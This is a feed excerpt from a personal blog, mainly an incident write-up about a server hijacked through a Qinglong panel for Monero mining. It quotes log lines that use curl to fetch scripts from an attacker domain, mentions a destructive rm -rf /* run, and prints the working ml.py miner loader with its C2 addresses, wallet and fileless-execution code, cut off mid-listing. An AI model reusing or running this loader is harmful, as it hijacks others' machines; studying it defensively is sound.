，当然你也可以自己手动指定一个目录（假设原来的目录模拟器程序无法访问或者有问题的情况下可以重新指定）<br>PS：我试过，用LocalSend通过链接分享传不过去，内置浏览器下载会失败，不知道怎么回事。总之用内置的共享文件夹是最稳定的方法</p><p>面具里面安装模块，选安卓侧的共享文件夹里的模块文件就行了。<br>别忘了去Magsik设置里面开启Zygisk，重启以后下拉通知栏里面就是Lsposed的入口了。你可以创建一个桌面快捷方式</p><h1 id="一些需要注意的点"><a href="#一些需要注意的点" class="headerlink" title="一些需要注意的点"></a>一些需要注意的点</h1><p>如果你安装的模块需要启动本地服务器的话，别忘了去MuMu的模拟器设置里面把网络改成<strong>桥接模式</strong>。<br>默认情况下是NAT过去的，模拟器是独立的网络。桥接模式就是为了让模拟器的网络共享电脑网卡，这样内外就都能访问模拟器里面的服务器了。</p><p>然后应该没了，想不起来了</p>]]>
    </content>
    <id>https://www.b23.kim/details/c46ddc482f29.html</id>
    <link href="https://www.b23.kim/details/c46ddc482f29.html"/>
    <published>2026-03-21T10:20:05.000Z</published>
    <summary>
      <![CDATA[<div align=center class="aspect-ratio">
<iframe src="//player.bilibili.com/player.html?isOutside=true&aid=115391409952617&bvid=BV1PYWHzCEjE&]]>
    </summary>
    <title>MuMu模拟器安装Magisk和Lsposed教程</title>
    <updated>2026-03-21T11:04:56.929Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<p>好特么离谱，我被人给骇客了。<br>我这台服务器上跑了一堆东西，然后突然内存和CPU占用异常的高。我还以为自己代码bug了导致内存泄漏，然后疯狂GC(垃圾回收)导致CPU也拉高来着。</p><p>事实证明，没有那么简单。<br>在我收到腾讯云的告警邮件的时候，我还以为腾讯没活了，只是自己代码bug了长时间高占用就威胁要收我服务器了。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x0/01/x0010213yx3x2z2yzy3y03w03xyz2yyx.jpg"><br>我还在想，腾讯真的是机器人企业，大惊小怪的。<br>直到……<br>我修完bug重新跑的时候特么怎么还是那么高占用，那不对啊。我打开了进程列表：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/12/zx/12zx003z0010zzyz0312ywzy03zx3y13.png" alt="注意看第一个进程"><br>然后还有腾讯云的恶意域名请求告警<br><img src="https://i0.hdslb.com/bfs/mallup/mall/12/x2/12x2zy2yzy013zzyyww1zwx0w13xx2w0.jpg"><br>我一看，问了AI说这个是典型的公共矿池域名，好，坐实了确实是中病毒了。我错怪腾讯了</p><p>那么服务器是怎么被入侵的，我防护的那么好。SSH都是用私钥登的，而且密码也长。更何况端口我只开了必要的，没全部开。怎么说也不太可能啊。<br>然后我就去看了下腾讯云后台安全告警信息，终于是发现线索了：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">2026-03-16 23:38:49</span><br><span class="line">10..: /bin/sh -c cat /ql/data/conf ig/crontab.list I grep -E “curl -sk -o /tmp/.ml -H &quot;User-Age nt: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36Chrome/131&quot; https://baba-yaga.live/ml.py&quot; I perl -pe &quot;sl.*l D=(.*) curl -sk -o /tmp/.ml -H &quot;User-Agent: Mozilla/5.0 (X 11; Linux x86_64) AppleWebKit/537.36 Chrome/131&quot; http s://baba-yaga.live/ml.py.*I\1l&quot;| head -1l awk-F&quot;&quot;&#x27;&#123;print $1&#125;&#x27;I xargs echo -n </span><br><span class="line">+       </span><br><span class="line">2026-03-16 23:12:40</span><br><span class="line">10..:/bin/sh -c cat /ql/data/conf ig/crontab.list | grep -E “curl -sk -o /tmp/.hb -H “User-Age nt: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36Chrome/120&quot; https://baba-yaga.live/hb_micro.py&quot; I perl pe&quot;sl.*ID=(.*) curl -sk -o /tmp/.hb -H &quot;User-Agent: Mozill a/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120&quot; https://baba-yaga.live/hb_micro.py.*I\1l&quot; | head -1l a wk-F&quot;&quot; &#x27;&#123;print $1&#125;&#x27;I xargs echo -n </span><br><span class="line">+        </span><br><span class="line">2026-03-16 22:27:18</span><br><span class="line"> 10...: /bin/sh -c cat /ql/data/conf ig/crontab.list | grep -E “curl -sk -o /tmp/.hb -H “User-Age nt: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36Chrome/120&quot; https://baba-yaga.live/hb_micro.py&quot; I perlpe&quot;sl.*ID=(.*) curl -sk -o /tmp/.hb -H &quot;User-Agent: Mozill a/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120&quot; https://baba-yaga.live/hb_micro.py.*I\1l&quot; | head -1l a wk-F &quot;&quot;&#x27;&#123;print $1&#125;&#x27;I xargs echo -n</span><br></pre></td></tr></table></figure><p>他妈的，<code>ig/crontab.list</code>青龙面板！<br>好家伙，没想到我临时跑小任务的应用在我用完以后一直没管的时候偷偷背刺我了。被嘿壳给找到漏洞通过定时列表（？）给我塞了个挖矿脚本进来。<br>还特么刚好挑我高考那两天，真是服了。<br>那看来里面东西不能要了，根本清理不干净的，准备备份重装了。</p><p><strong>等等</strong>，在重装之前我要玩个大的。搞一下我一直以来不敢想的东西：<br>在 生 产 环 境 运 行 rm -rf /*</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116245269644367&bvid=BV1LQw9zNEK9&cid=36773170350&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div>（视频的tag是个细节）爽了，著名“删库跑路”命令也被我试过了，虽然很无聊。<p>对了，我好奇它下载木马的这个地址到底是什么。然后去搜了一下，发现是一个印度的民间传说。<br>当然了这不重要，重要的是里面的样本。<br>对方可能没想到，他的操作已经被安全日志系统全程留痕了。并且我也是一个嘿客，最喜欢分析这个了。<br>那就让我们开看：<br><code>ml.py</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">Mini miner loader — downloads xmrig, writes config, executes.</span></span><br><span class="line"><span class="string">Designed for Alpine/Debian Docker containers (Qinglong).</span></span><br><span class="line"><span class="string">~5KB, zero dependencies beyond Python 3 stdlib.</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">import</span> os, sys, json, hashlib, socket, signal, time, struct, ctypes, ctypes.util, random, gzip</span><br><span class="line"></span><br><span class="line"><span class="comment"># ── CONFIG ──</span></span><br><span class="line">C2 = <span class="string">&quot;https://baba-yaga.live&quot;</span></span><br><span class="line">C2_IP = <span class="string">&quot;https://45.131.214.139&quot;</span></span><br><span class="line">WALLET = <span class="string">&quot;447NxewTgybVasVMfKXMxdZJPhNZuRUvFUPzJhP4pz9YHNoKdLoKxqRgAaVzHWteSQUXSvf7hxtN1PFfF3W9bzy6Pe8FDbr&quot;</span></span><br><span class="line">POOL = <span class="string">&quot;gulf.moneroocean.stream:443&quot;</span></span><br><span class="line">POOL_TLS = <span class="literal">True</span></span><br><span class="line">BIN_HASH = <span class="string">&quot;9d4153c85f1315ae08955dc491294749b3603846d2f95de665d4bf655543be03&quot;</span></span><br><span class="line">UA = <span class="string">&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36&quot;</span></span><br><span class="line">PROC_NAMES = [<span class="string">&quot;[migration/0]&quot;</span>, <span class="string">&quot;[kworker/u8:3-events_unbound]&quot;</span>, <span class="string">&quot;[rcu_preempt]&quot;</span>, <span class="string">&quot;[ksoftirqd/0]&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># ── memfd syscall numbers ──</span></span><br><span class="line">MEMFD_NR = &#123;<span class="string">&quot;x86_64&quot;</span>: <span class="number">319</span>, <span class="string">&quot;aarch64&quot;</span>: <span class="number">279</span>&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_arch</span>():</span><br><span class="line">    <span class="keyword">import</span> platform</span><br><span class="line">    m = platform.machine()</span><br><span class="line">    <span class="keyword">return</span> &#123;<span class="string">&quot;x86_64&quot;</span>: <span class="string">&quot;x86_64&quot;</span>, <span class="string">&quot;amd64&quot;</span>: <span class="string">&quot;x86_64&quot;</span>, <span class="string">&quot;aarch64&quot;</span>: <span class="string">&quot;aarch64&quot;</span>, <span class="string">&quot;arm64&quot;</span>: <span class="string">&quot;aarch64&quot;</span>&#125;.get(m, m)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_worker_id</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        hn = socket.gethostname()</span><br><span class="line">        <span class="keyword">try</span>: ip = socket.gethostbyname(hn)</span><br><span class="line">        <span class="keyword">except</span>: ip = <span class="string">&quot;0.0.0.0&quot;</span></span><br><span class="line">        cid = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/self/cgroup&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                <span class="keyword">for</span> l <span class="keyword">in</span> f:</span><br><span class="line">                    <span class="keyword">if</span> <span class="string">&quot;docker&quot;</span> <span class="keyword">in</span> l <span class="keyword">or</span> <span class="string">&quot;containerd&quot;</span> <span class="keyword">in</span> l:</span><br><span class="line">                        cid = l.strip().split(<span class="string">&quot;/&quot;</span>)[-<span class="number">1</span>][:<span class="number">12</span>]</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">        seed = <span class="string">&quot;d3f4ult_s4lt_ch4ng3:%s:%s:%s&quot;</span> % (hn, ip, cid)</span><br><span class="line">        wh = hashlib.sha256(seed.encode()).hexdigest()[:<span class="number">10</span>]</span><br><span class="line">        pwid = <span class="string">&quot;w%s&quot;</span> % wh</span><br><span class="line">        ph = hashlib.sha256((<span class="string">&quot;p00l_s4lt_ch4ng3:%s&quot;</span> % pwid).encode()).hexdigest()[:<span class="number">8</span>]</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;x%s&quot;</span> % ph</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;x%s&quot;</span> % hashlib.md5(socket.gethostname().encode()).hexdigest()[:<span class="number">8</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download</span>(<span class="params">urls, timeout=<span class="number">60</span></span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Try multiple URLs, return bytes or None.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">import</span> urllib.request, ssl</span><br><span class="line">    ctx = ssl.create_default_context()</span><br><span class="line">    ctx.check_hostname = <span class="literal">False</span></span><br><span class="line">    ctx.verify_mode = ssl.CERT_NONE</span><br><span class="line">    <span class="keyword">for</span> url <span class="keyword">in</span> urls:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            req = urllib.request.Request(url, headers=&#123;<span class="string">&quot;User-Agent&quot;</span>: UA&#125;)</span><br><span class="line">            resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)</span><br><span class="line">            <span class="keyword">return</span> resp.read()</span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">memfd_create</span>(<span class="params">name=<span class="string">&quot;&quot;</span></span>):</span><br><span class="line">    arch = get_arch()</span><br><span class="line">    nr = MEMFD_NR.get(arch)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> nr: <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        libc = ctypes.CDLL(ctypes.util.find_library(<span class="string">&quot;c&quot;</span>), use_errno=<span class="literal">True</span>)</span><br><span class="line">        fd = libc.syscall(ctypes.c_long(nr), ctypes.c_char_p(name.encode()), ctypes.c_uint(<span class="number">0</span>))</span><br><span class="line">        <span class="keyword">return</span> fd <span class="keyword">if</span> fd &gt;= <span class="number">0</span> <span class="keyword">else</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">set_proc_name</span>(<span class="params">name</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        libc = ctypes.CDLL(ctypes.util.find_library(<span class="string">&quot;c&quot;</span>))</span><br><span class="line">        libc.prctl(<span class="number">15</span>, name.encode()[:<span class="number">15</span>], <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_free_port</span>():</span><br><span class="line">    <span class="keyword">import</span> socket <span class="keyword">as</span> s</span><br><span class="line">    <span class="keyword">with</span> s.socket(s.AF_INET, s.SOCK_STREAM) <span class="keyword">as</span> sock:</span><br><span class="line">        sock.bind((<span class="string">&#x27;127.0.0.1&#x27;</span>, <span class="number">0</span>))</span><br><span class="line">        <span class="keyword">return</span> sock.getsockname()[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_miner_running</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Check if xmrig/migration is already running.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">for</span> pid <span class="keyword">in</span> os.listdir(<span class="string">&quot;/proc&quot;</span>):</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> pid.isdigit(): <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/%s/cmdline&quot;</span> % pid, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                    cmd = f.read().decode(errors=<span class="string">&quot;ignore&quot;</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="string">&quot;migration&quot;</span> <span class="keyword">in</span> cmd <span class="keyword">or</span> <span class="string">&quot;xmrig&quot;</span> <span class="keyword">in</span> cmd <span class="keyword">or</span> <span class="string">&quot;.worker.json&quot;</span> <span class="keyword">in</span> cmd:</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">            <span class="keyword">except</span>: <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment"># Don&#x27;t run if miner already running</span></span><br><span class="line">    <span class="keyword">if</span> is_miner_running():</span><br><span class="line">        sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    arch = get_arch()</span><br><span class="line">    <span class="keyword">if</span> arch != <span class="string">&quot;x86_64&quot;</span>:</span><br><span class="line">        <span class="comment"># ARM64 binary not yet available</span></span><br><span class="line">        sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Download compressed binary</span></span><br><span class="line">    data = download([</span><br><span class="line">        <span class="string">&quot;%s/.x64.gz&quot;</span> % C2,</span><br><span class="line">        <span class="string">&quot;%s/.x64.gz&quot;</span> % C2_IP,</span><br><span class="line">    ], timeout=<span class="number">120</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Decompress</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        binary = gzip.decompress(data)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Verify hash</span></span><br><span class="line">    <span class="keyword">if</span> hashlib.sha256(binary).hexdigest() != BIN_HASH:</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Generate worker ID and config</span></span><br><span class="line">    wid = get_worker_id()</span><br><span class="line">    api_port = find_free_port()</span><br><span class="line">    api_token = hashlib.sha256(os.urandom(<span class="number">32</span>)).hexdigest()[:<span class="number">16</span>]</span><br><span class="line"></span><br><span class="line">    config = &#123;</span><br><span class="line">        <span class="string">&quot;autosave&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">        <span class="string">&quot;background&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">        <span class="string">&quot;colors&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">        <span class="string">&quot;title&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">        <span class="string">&quot;randomx&quot;</span>: &#123;<span class="string">&quot;init&quot;</span>: -<span class="number">1</span>, <span class="string">&quot;init-avx2&quot;</span>: -<span class="number">1</span>, <span class="string">&quot;mode&quot;</span>: <span class="string">&quot;auto&quot;</span>, <span class="string">&quot;1gb-pages&quot;</span>: <span class="literal">False</span>, <span class="string">&quot;rdmsr&quot;</span>: <span class="literal">False</span>&#125;,</span><br><span class="line">        <span class="string">&quot;cpu&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;enabled&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">            <span class="string">&quot;huge-pages&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">            <span class="string">&quot;huge-pages-jit&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">            <span class="string">&quot;hw-aes&quot;</span>: <span class="literal">None</span>,</span><br><span class="line">            <span class="string">&quot;priority&quot;</span>: <span class="number">0</span>,</span><br><span class="line">            <span class="string">&quot;memory-pool&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">            <span class="string">&quot;max-threads-hint&quot;</span>: <span class="number">75</span>,</span><br><span class="line">            <span class="string">&quot;asm&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">            <span class="string">&quot;argon2-impl&quot;</span>: <span class="literal">None</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="string">&quot;log-file&quot;</span>: <span class="literal">None</span>,</span><br><span class="line">        <span class="string">&quot;donate-level&quot;</span>: <span class="number">0</span>,</span><br><span class="line">        <span class="string">&quot;donate-over-proxy&quot;</span>: <span class="number">0</span>,</span><br><span class="line">        <span class="string">&quot;pools&quot;</span>: [&#123;</span><br><span class="line">            <span class="string">&quot;algo&quot;</span>: <span class="string">&quot;rx/0&quot;</span>,</span><br><span class="line">            <span class="string">&quot;coin&quot;</span>: <span class="string">&quot;monero&quot;</span>,</span><br><span class="line">            <span class="string">&quot;url&quot;</span>: POOL,</span><br><span class="line">            <span class="string">&quot;user&quot;</span>: WALLET,</span><br><span class="line">            <span class="string">&quot;pass&quot;</span>: wid,</span><br><span class="line">            <span class="string">&quot;rig-id&quot;</span>: wid,</span><br><span class="line">            <span class="string">&quot;keepalive&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">            <span class="string">&quot;enabled&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">            <span class="string">&quot;tls&quot;</span>: POOL_TLS,</span><br><span class="line">            <span class="string">&quot;daemon&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">        &#125;],</span><br><span class="line">        <span class="string">&quot;api&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;id&quot;</span>: <span class="literal">None</span>,</span><br><span class="line">            <span class="string">&quot;worker-id&quot;</span>: wid,</span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="string">&quot;http&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;enabled&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">            <span class="string">&quot;host&quot;</span>: <span class="string">&quot;127.0.0.1&quot;</span>,</span><br><span class="line">            <span class="string">&quot;port&quot;</span>: api_port,</span><br><span class="line">            <span class="string">&quot;access-token&quot;</span>: api_token,</span><br><span class="line">            <span class="string">&quot;restricted&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Write config to /dev/shm for hb_micro detection</span></span><br><span class="line">    cfg_path = <span class="string">&quot;/dev/shm/.worker.json&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        cfg_data = json.dumps(config)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(cfg_path, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(cfg_data)</span><br><span class="line">        os.chmod(cfg_path, <span class="number">0o600</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        cfg_path = <span class="string">&quot;/tmp/.worker.json&quot;</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(cfg_path, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(json.dumps(config))</span><br><span class="line">        os.chmod(cfg_path, <span class="number">0o600</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Try memfd_create first (fileless)</span></span><br><span class="line">    fd = memfd_create(<span class="string">&quot;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> fd &gt;= <span class="number">0</span>:</span><br><span class="line">        os.write(fd, binary)</span><br><span class="line">        exe_path = <span class="string">&quot;/proc/self/fd/%d&quot;</span> % fd</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment"># Fallback: write to /dev/shm</span></span><br><span class="line">        exe_path = <span class="string">&quot;/dev/shm/.worker&quot;</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(exe_path, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(binary)</span><br><span class="line">        os.chmod(exe_path, <span class="number">0o700</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Fork and exec</span></span><br><span class="line">    pid = os.fork()</span><br><span class="line">    <span class="keyword">if</span> pid &gt; <span class="number">0</span>:</span><br><span class="line">        <span class="comment"># Parent: write info file and exit</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            info = &#123;<span class="string">&quot;pid&quot;</span>: pid, <span class="string">&quot;worker_id&quot;</span>: wid, <span class="string">&quot;started&quot;</span>: <span class="built_in">int</span>(time.time()),</span><br><span class="line">                    <span class="string">&quot;api_port&quot;</span>: api_port, <span class="string">&quot;api_token&quot;</span>: api_token&#125;</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/dev/shm/.worker.json&quot;</span>, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                json.dump(&#123;**config, **&#123;<span class="string">&quot;_info&quot;</span>: info&#125;&#125;, f)</span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">        os._exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Child: become session leader</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        os.setsid()</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Ignore signals</span></span><br><span class="line">    signal.signal(signal.SIGHUP, signal.SIG_IGN)</span><br><span class="line">    signal.signal(signal.SIGPIPE, signal.SIG_IGN)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Set process name</span></span><br><span class="line">    set_proc_name(random.choice(PROC_NAMES))</span><br><span class="line"></span><br><span 